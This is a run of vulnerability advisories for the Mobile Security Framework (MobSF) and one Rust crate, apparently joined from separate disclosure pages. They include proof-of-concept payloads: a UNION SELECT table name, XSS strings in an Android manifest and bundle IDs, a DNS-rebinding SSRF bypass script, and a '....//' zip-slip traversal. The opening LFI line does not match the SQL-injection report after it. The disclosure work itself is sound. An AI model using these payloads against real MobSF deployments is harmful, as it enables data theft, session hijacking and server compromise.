Mobile Security Framework (MobSF) v0.9.2 and below was discovered to contain a local file inclusion (LFI) vulnerability in the StaticAnalyzer/views.py script. This vulnerability allows attackers to read arbitrary files via a crafted HTTP request.

Description

MobSF's readsqlite() function in mobsf/MobSF/utils.py (lines 542-566) uses Python string formatting (%) to construct SQL queries with table names read from a SQLite database's sqlitemaster table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping.

This allows an attacker to:

1. Cause Denial of Service -- A malicious table name causes the database viewer to crash, preventing the analyst from viewing ANY data in the SQLite database. A malicious app can use this to hide sensitive data (C2 server URLs, stolen credentials, API keys) from MobSF's analysis.

2. Achieve SQL Injection -- The SELECT FROM query on line 557 is provably injectable via UNION SELECT, allowing attacker-controlled data to be returned in query results. The current code structure (a PRAGMA statement that runs first on line 553) limits the full exploitation chain, but the underlying code is verifiably injectable.

Root Cause

The vulnerable code in mobsf/MobSF/utils.py:542-566:

python def readsqlite(sqlitefile): """Sqlite Dump - Readable Text.""" tabledict = {} try: con = sqlite3.connect(sqlitefile) cur = con.cursor() cur.execute('SELECT name FROM sqlitemaster WHERE type=\'table\';') tables = cur.fetchall() for table in tables: tabledict[table[0]] = {'head': [], 'data': []} cur.execute('PRAGMA tableinfo(\'%s\')' % table) # <-- INJECTION POINT 1 rows = cur.fetchall() for sqrow in rows: tabledict[table[0]]['head'].append(sqrow[1]) cur.execute('SELECT FROM \'%s\'' % table) # <-- INJECTION POINT 2 rows = cur.fetchall() for sqrow in rows: tmprow = [] for eachrow in sqrow: tmprow.append(str(eachrow)) tabledict[table[0]]['data'].append(tmprow) except Exception: logger.exception('Reading SQLite db') return tabledict

Lines 553 and 557 use % string formatting to interpolate table (a tuple from sqlitemaster) directly into SQL strings. The table value is attacker-controlled when the SQLite database originates from a malicious application being analyzed.

Attack Vector

The readsqlite() function is called from two locations:

1. Dynamic Analysis File Viewer (mobsf/DynamicAnalyzer/views/common/device.py:64): - Triggered when an analyst clicks to view a .db file in device data - Applies to both Android and iOS dynamic analysis

2. iOS Static Analysis File Viewer (mobsf/StaticAnalyzer/views/ios/views/viewsource.py:123): - Triggered when an analyst clicks to view a .db file during iOS static analysis

Attack Scenario

1. Attacker creates a malicious Android APK (or iOS IPA) containing a SQLite database with a crafted table name in the assets/ directory 2. The SQLite database contains a table created with: sql CREATE TABLE "x' UNION SELECT 'SQLINJECTIONPROOF'--" (id INTEGER); 3. Security analyst uploads the application to MobSF for analysis 4. Analyst browses the extracted files and clicks to view the SQLite database 5. MobSF's readsqlite() reads table names from sqlitemaster, including the malicious name x' UNION SELECT 'SQLINJECTIONPROOF'-- 6. The table name is interpolated into SQL queries via string formatting: - PRAGMA tableinfo('x' UNION SELECT 'SQLINJECTIONPROOF'--') -- causes syntax error (DoS) - SELECT FROM 'x' UNION SELECT 'SQLINJECTIONPROOF'--' -- SQL injection (UNION SELECT returns attacker data)

Impact

Denial of Service (Confirmed)

When the malicious table name is the first table in sqlitemaster (i.e., created first in the database), the PRAGMA statement on line 553 raises a sqlite3.OperationalError, which is caught by the outer try/except. This causes readsqlite() to return an empty or partial result, preventing the analyst from viewing any database content.

Security impact: A malicious app author can use this technique to hide incriminating data stored in SQLite databases from MobSF's analysis. This directly undermines MobSF's core purpose as a security analysis tool.

SQL Injection (Confirmed in Isolation)

The SELECT FROM query on line 557 is demonstrably injectable. When the malicious table name x' UNION SELECT 'SQLINJECTIONPROOF'-- is interpolated, the resulting query:

sql SELECT FROM 'x' UNION SELECT 'SQLINJECTIONPROOF'--'

Successfully executes and returns attacker-controlled data via UNION SELECT. The -- comments out the trailing single quote. This is verified by the PoC script.

Note: In the current code structure, the PRAGMA tableinfo() statement on line 553 runs before the SELECT FROM on line 557. The PRAGMA fails with a syntax error for injected payloads, which triggers the exception handler before the SELECT can execute. This limits the full exploitation chain. However, the code flaw is real and any future refactoring that changes the execution order or removes the PRAGMA would immediately expose the full SQL injection.

Proof of Concept

Files Provided(Gdrive)

| File | Description | |------|-------------| | pocsqliteinjection.py | Standalone PoC demonstrating the vulnerability | | malicious.db | Crafted SQLite database (generated by PoC) | | createmaliciousapk.sh | Script to package the malicious DB into an APK | | malicioussqli.apk | Pre-built APK for testing against MobSF |

https://drive.google.com/drive/folders/1mNGkFfNowkaZ5J018HFi4IQcnjKaWCym?usp=sharing

Running the PoC

bash Run the standalone PoC (no MobSF required) python3 pocsqliteinjection.py

Build the malicious APK (requires Android SDK) ./createmaliciousapk.sh

Test against MobSF 1. Start MobSF 2. Upload malicioussqli.apk 3. Browse extracted files -> click appdata.db 4. Observe: database viewer fails (DoS)

PoC Output (Abbreviated)

[STEP 2] Running MobSF's readsqlite() against malicious database... [!] EXCEPTION CAUGHT: OperationalError: near "UNION": syntax error [!] DoS CONFIRMED: readsqlite() crashed

[STEP 3] Demonstrating SELECT FROM injection in isolation... Query: SELECT FROM 'x' UNION SELECT 'SQLINJECTIONPROOF'--' [+] Query executed successfully! [+] Results: [('SQLINJECTIONPROOF',), ('normaldata',)] [+] SQL INJECTION CONFIRMED

[STEP 4] Complete DoS (malicious table created first): Tables with data: NONE [!] COMPLETE DoS CONFIRMED

Suggested Fix

Replace string formatting with properly quoted identifiers. SQLite uses double quotes for identifiers:

python def readsqlite(sqlitefile): """Sqlite Dump - Readable Text.""" tabledict = {} try: con = sqlite3.connect(sqlitefile) cur = con.cursor() cur.execute('SELECT name FROM sqlitemaster WHERE type=\'table\';') tables = cur.fetchall() for table in tables: tablename = table[0] # Properly escape table name as a double-quoted identifier safename = tablename.replace('"', '""') tabledict[tablename] = {'head': [], 'data': []} cur.execute(f'PRAGMA tableinfo("{safename}")') rows = cur.fetchall() for sqrow in rows: tabledict[tablename]['head'].append(sqrow[1]) cur.execute(f'SELECT FROM "{safename}"') rows = cur.fetchall() for sqrow in rows: tmprow = [] for eachrow in sqrow: tmprow.append(str(eachrow)) tabledict[tablename]['data'].append(tmprow) except Exception: logger.exception('Reading SQLite db') return tabledict

This escapes any double quotes within table names by doubling them (" → ""), which is the standard SQL mechanism for identifier quoting. This prevents breakout from the double-quoted identifier context.

Resources

- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQLInjection - Affected File: mobsf/MobSF/utils.py, lines 542-566

Summary A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="androidsecretcode"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details When MobSF analyzes an Android APK containing a <data> element with android:scheme="androidsecretcode", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifestanalysis.py (line 776): python xmlhost = data.getAttribute(f'{ns}:host') retlist.append(('dialercodefound', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifestanalysis.py (line 806): python 'title': atemplate['title'] % tname, # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/androidmanifestdesc.py (line 200): python 'dialercodefound': { 'title': 'Dailer Code: %s Found <br>[android:scheme=\"androidsecretcode\"]', ... }

4. Unsafe Rendering - mobsf/templates/staticanalysis/androidbinaryanalysis.html (line 1143): html {{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.poc.xsstest" android:versionCode="1" android:versionName="1.0">

<application android:label="XSS PoC Test"> <receiver android:name=".SecretCodeReceiver" android:exported="true"> <intent-filter> <action android:name="android.provider.Telephony.SECRETCODE"/> <data android:scheme="androidsecretcode" android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/> </intent-filter> </receiver> </application> </manifest>

Step 2: Build the APK

Use apktool or Android build tools to create a valid APK with this manifest.

Step 3: Upload to MobSF

Upload the malicious APK to MobSF for static analysis.

Step 4: Trigger XSS

View the static analysis report in a browser. The JavaScript payload executes automatically.

Confirmed HTML Output

html <td> Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="androidsecretcode"] </td>

PoC APK Details

| Field | Value | |-------|-------| | Filename | POCXSSAPK.apk | | MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b | | Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POCXSSAPK.apk |

Impact

This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.

Attack Scenario

1. Attacker crafts a malicious APK with XSS payload in the manifest 2. Attacker submits APK to a shared MobSF instance or private mobsf instance. 3. When any user views the analysis report, the XSS payload executes in their browser

<img width="1435" height="675" alt="Screenshot 2026-01-15 at 12 24 29 AM" src="https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052" />

Tested in MobSF Public Instance as well. https://mobsf.live/staticanalyzer/647258656ed03a7e6a0f2acce4ec6a5b/

<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />

Product: MobSF Version: < 4.3.1 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.4.0: 8.5 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) CVSS vector v.3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) Description: Stored XSS in the iOS Dynamic Analyzer functionality. Impact: Leveraging this vulnerability would enable performing actions as users, including administrative users. Vulnerable component: dynamicanalysis.html https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamicanalysis/ios/dynamicanalysis.html#L406 Exploitation conditions: A malicious application was uploaded to the Correlium. Mitigation: Use escapeHtml() function on the bundle variable. Researcher: Oleg Surnin (Positive Technologies)

Research Researcher discovered zero-day vulnerability Stored Cross-site Scripting (XSS) in MobSF in iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the dynamicanalysis.html file you do not sanitize received bundle value from Corellium https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamicanalysis/ios/dynamicanalysis.html#L406

<img width="1581" alt="image" src="https://github.com/user-attachments/assets/8400f872-46c0-406c-9dd6-97655e499b75" />

Figure 1. Unsanitized bundle

As a result, it is possible to break the HTML context and achieve Stored XSS.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application. Listing 1. Unzipping the file unzip test.ipa • Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

<img width="560" alt="image-1" src="https://github.com/user-attachments/assets/3eedf216-45ab-4d73-9815-6b02827d36d4" />

Figure 2. Example of the modified Bundle Identifier

• Zip the modified IPA file.

Listing 2. Zipping the file zip -r xss.ipa Payload/ • Upload the modified IPA file to your virtual device using the Correlium platform. <img width="762" alt="image-2" src="https://github.com/user-attachments/assets/7f3e8b0d-d1f9-4d86-b63b-9b3f9e8f1d0c" />

Figure 3. Example of the uploaded malicious application

• Open the XSS functionality and hover the mouse over the Uninstall button of the malicious app.

<img width="764" alt="image-3" src="https://github.com/user-attachments/assets/fd621574-f2c1-42be-b30a-e8e7445c6b13" />

Figure 4. Example of the 'Uninstall' button

<img width="652" alt="image-4" src="https://github.com/user-attachments/assets/73526f71-6d39-4a94-98bf-8a867aa9acc7" /> Figure 5. Example of the XSS <img width="460" alt="image-5" src="https://github.com/user-attachments/assets/13e6a1fc-59be-492d-8e42-a5a8010fc4c3" />

Figure 6. Example of the vulnerable code

Please, assign all credits to: Oleg Surnin (Positive Technologies)

Summary The fix for the "SSRF Vulnerability on assetlinkscheck(actname, wellknowns)" vulnerability could potentially be bypassed.

Details Since the requests.get() request in the checkurl method is specified as allowredirects=True, if "https://mydomain.com/.well-known/assetlinks.json" returns a 302 redirect, subsequent requests will be sent automatically. If the redirect location is "http://192.168.1.102/user/delete/1", a request will be sent here as well.

<img width="610" alt="image" src="https://github.com/MobSF/Mobile-Security-Framework-MobSF/assets/150332295/a8c9630e-3d12-441a-816c-8f5e427a5194">

It will be safer to use allowredirects=False.

Impact The attacker can cause the server to make a connection to internal-only services within the organization's infrastructure.

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call validhost(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

python def validhost(host): """Check if host is valid.""" try: prefixs = ('http://', 'https://') if not host.startswith(prefixs): host = f'http://{host}' parsed = urlparse(host) domain = parsed.netloc path = parsed.path if len(domain) == 0: # No valid domain return False, None if len(path) > 0: # Only host is allowed return False, None if ':' in domain: # IPv6 return False, None # Local network invalidprefix = ( '100.64.', '127.', '192.', '198.', '10.', '172.', '169.', '0.', '203.0.', '224.0.', '240.0', '255.255.', 'localhost', '::1', '64::ff9b::', '100::', '2001::', '2002::', 'fc00::', 'fe80::', 'ff00::') if domain.startswith(invalidprefix): return False, None ip = socket.gethostbyname(domain) if ip.startswith(invalidprefix): # Resolve dns to get IP return False, None return True, ip except Exception: return False, None

import random import time import socket from urllib.parse import urlparse

if name == 'main': print("Generating random host ...", end=' ') prefix = random.randint(999999, 9999999) host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms" print("Done") print(f"Testing with '{host}' ... ", end=" ") valid, ip = validhost(host) if valid: print(f"Successful Bypass") print(f" - Host initially resolved to: {ip}") print("Sleeping for 1 second ...") time.sleep(1) print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}") print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}") print("Sleeping for 30 seconds ...") time.sleep(30) else: print(f"Invalid host")

Yields :

$ python3 poc.py Generating random host ... Done Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass - Host initially resolved to: 1.1.1.1 Sleeping for 1 second ... - Second use host will be resolved to: 127.0.0.1 - Third use host will be resolved to: 127.0.0.1 Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

- Avoid the use of socket.gethostbyname() since it issues and DNS query.

Vulnerable MobSF Versions: <= v4.3.2

CVSS V4.0 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N)

Details: A Stored Cross-Site Scripting (XSS) vulnerability has been identified in MobSF versions ≤ 4.3.2. The vulnerability arises from improper sanitization of user-supplied SVG files during the Android APK analysis workflow.

When an Android Studio project contains a malicious SVG file as an app icon (e.g path, /app/src/main/res/mipmap-hdpi/iclauncher.svg), and the project is zipped and uploaded to MobSF, the tool processes and extracts the contents without validating or sanitizing the SVG.

Upcon ZIP extraction this icon file is saved by MobSF to: user/.MobSF/downloads/<filename>.svg

This file becomes publicly accessible via the web interface at:

http://127.0.0.1:8081/download/filename.svg

If the SVG contains embedded JavaScript (e.g., an XSS payload), accessing this URL via a browser leads to the execution of the script in the context of the MobSF user session, resulting in stored XSS.

Proof Of Concept:

1. Create a malicious SVG file (iclauncher.svg) with an embedded XSS payload.

!01

2. Place the file in the Android Studio project directory: /app/src/main/res/mipmap-hdpi/iclauncher.svg

!02

3. Zip the project directory and upload it to MobSF.

!03

4. After the scan, navigate to the "Recent Scans" page in the MobSF web interface and click on the scan entry and open the icon file in a new browser tab.

!04

5. The XSS payload is executed, confirming the vulnerability.

!05

Partial Denial of Service (DoS)

Product: MobSF Version: v4.2.9 CWE-ID: CWE-1287: Improper Validation of Specified Type of Input CVSS vector v.4.0: 6.9 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) Description: DoS in the Scans Results and iOS Dynamic Analyzer functionality Impact: Leveraging this vulnerability would make Scans Results and iOS Dynamic Analyzer pages unavailable. Vulnerable component: urls.py https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401 Exploitation conditions: A malicious application was uploaded to the MobSF. Mitigation: Check the uploaded bundle IDs against the regex. Researcher: Oleg Surnin (Positive Technologies)

Research

Researcher discovered zero-day vulnerability Partial Denial of Service (DoS) in MobSF in the Scans Results and iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the urls.py file URL rules are defined. https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401

Listing 3. bundleidregex = r'(?P<bundleid>([a-zA-Z0-9]{1}[\w.-]{1,255}))$'

skip code repath(fr'^ios/viewreport/{bundleidregex}', iosviewreport.ç, name='iosviewreport'),

When the application parses the wrong characters in the bundle ID, it encounters an error. As a result, it will not display content and will throw a 500 error instead. The only way to make the pages work again is to manually remove the malicious application from the system.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application.

Listing 4. Unzipping the file unzip test.ipa

• Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

<img width="364" alt="image-6" src="https://github.com/user-attachments/assets/97dce68a-a5e2-4048-b5c8-3090146a9635" />

Figure 7. Example with ' character

• Zip the modified IPA file.

Listing 5. Zipping the file zip -r dos.ipa Payload/

• Upload the modified IPA file to Static Analysis and wait until it finished • Open the following pages: http://mobsf/recentscans/ http://mobsf/ios/dynamicanalysis/

<img width="1119" alt="image-7" src="https://github.com/user-attachments/assets/a7a9ae2e-cd84-4ec8-8132-25140a209ca0" />

Figure 8. DoS Example

<img width="1141" alt="image-8" src="https://github.com/user-attachments/assets/a76e03ae-b4c6-4003-a145-c1fa4c88a7a5" /> Figure 9. DoS Example

Please, assign all credits to Oleg Surnin (Positive Technologies)

Product: Mobile Security Framework (MobSF) Version: 4.3.0 CWE-ID: CWE-269: Improper Privilege Management CVSS vector v.4.0: 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Description: MobSF has a functionality of dividing users by roles. This functionality is not efficient, because any registered user can get API Token with all privileges. Impact: Information Disclosure Vulnerable component: Code output component (/sourcecode) Exploitation conditions: authorized user Mitigation: Remove token output in the returned js-script Researcher: Egor Filatov (Positive Technologies)

Research

Researcher discovered zero-day vulnerability «Local Privilege Escalation» in Mobile Security Framework (MobSF). To reproduce the vulnerability follow the steps below.

• A user with minimal privileges is required, so the administrator must create a user account

<img width="215" alt="fig1" src="https://github.com/user-attachments/assets/43e02a50-bdd9-48d9-9194-73946fcc56d9" />

Figure 1. Registration

• Go to static analysis of any application

<img width="1207" alt="fig2" src="https://github.com/user-attachments/assets/9ed141a7-a667-4a96-81fd-d81127874104" /> Figure 2. Static analysis

• Go to the code review of the selected application and get a token with all privileges in the response

<img width="1400" alt="fig3" src="https://github.com/user-attachments/assets/bf8b704b-9067-4861-a7d3-05ec119d9a3f" /> Figure 3. Token receiving

• This token can be used to retrieve dynamic analysis information that has not been accessed before.

!fig4 Figure 4. No access demonstration

<img width="1412" alt="fig5" src="https://github.com/user-attachments/assets/dc8f639f-36b0-47d3-807d-58ae551fcbfc" /> Figure 5. Token usage

As a result, the user is able to escalate the privileges.

Please, assign all credits to: Egor Filatov (Positive Technologies)

DISPUTED Mobile Security Framework (MobSF) <=v3.7.8 Beta is vulnerable to Insecure Permissions. NOTE: the vendor's position is that authentication is intentionally not implemented because the product is not intended for an untrusted network environment. Use cases requiring authentication could, for example, use a reverse proxy server.

Summary Upon reviewing the MobSF source code, I identified a flaw in the Static Libraries analysis section. Specifically, during the extraction of .a extension files, the measure intended to prevent Zip Slip attacks is improperly implemented.

Since the implemented measure can be bypassed, the vulnerability allows an attacker to extract files to any desired location within the server running MobSF.

Details

Upon examining lines 183-192 of the mobsf/StaticAnalyzer/views/common/sharedfunc.py file, it is observed that there is a mitigation against Zip Slip attacks implemented as a.decode('utf-8', 'ignore').replace('../', '').replace('..\\', ''). However, this measure can be bypassed using sequences like ....//....//....//. Since the replace operation is not recursive, this sequence is transformed into ../../../ after the replace operation, allowing files to be written to upper directories.

<img width="448" alt="image" src="https://github.com/user-attachments/assets/fadf4bcc-1a92-4655-b66a-5349278ad9c5">

For the proof of concept, I created an .a archive file that renders MobSF unusable by writing an empty file with the same name over the database located at /home/mobsf/.MobSF/db.sqlite3.

<img width="300" alt="poc a1" src="https://github.com/user-attachments/assets/54acf101-3931-401f-9970-a0934265eecb">

I am including the binary used for the POC named poc.VULN. To test it, you need to rename this binary to poc.a.

Warning: As soon as you scan this file with MobSF, the database will be deleted, rendering MobSF unusable.

PoC Binary File (poc.VULN)

PoC

https://github.com/user-attachments/assets/3225ccb0-cb00-47a5-8305-37a40ca1ae7f

Impact

When a malicious .a file is scanned with MobSF, a critical vulnerability is present as it allows files to be extracted to any location on the server where MobSF is running. In this POC, I deleted the database, but it is also possible to achieve RCE by overwriting binaries of certain tools or by overwriting the /etc/passwd file.

Impact What kind of vulnerability is it? Who is impacted?

An open redirect vulnerability exist in MobSF authentication view.

PoC 1. Go to http://127.0.0.1:8000/login/?next=//afine.com in a web browser. 2. Enter credentials and press "Sign In". 3. You will be redirected to afine.com

Users who are not using authentication are not impacted.

Patches Has the problem been patched? What versions should users upgrade to?

Update to MobSF v4.0.5

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading? Disable Authentication

References Are there any links users can visit to find out more? Fix: https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/fdaad81314f393d324c1ede79627e9d47986c8c8

Reporter Marcin Węgłowski (AFINE Team)

An issue was discovered in the security-framework crate before 0.1.12 for Rust. Hostname verification for certificates does not occur if ClientBuilder uses custom root certificates.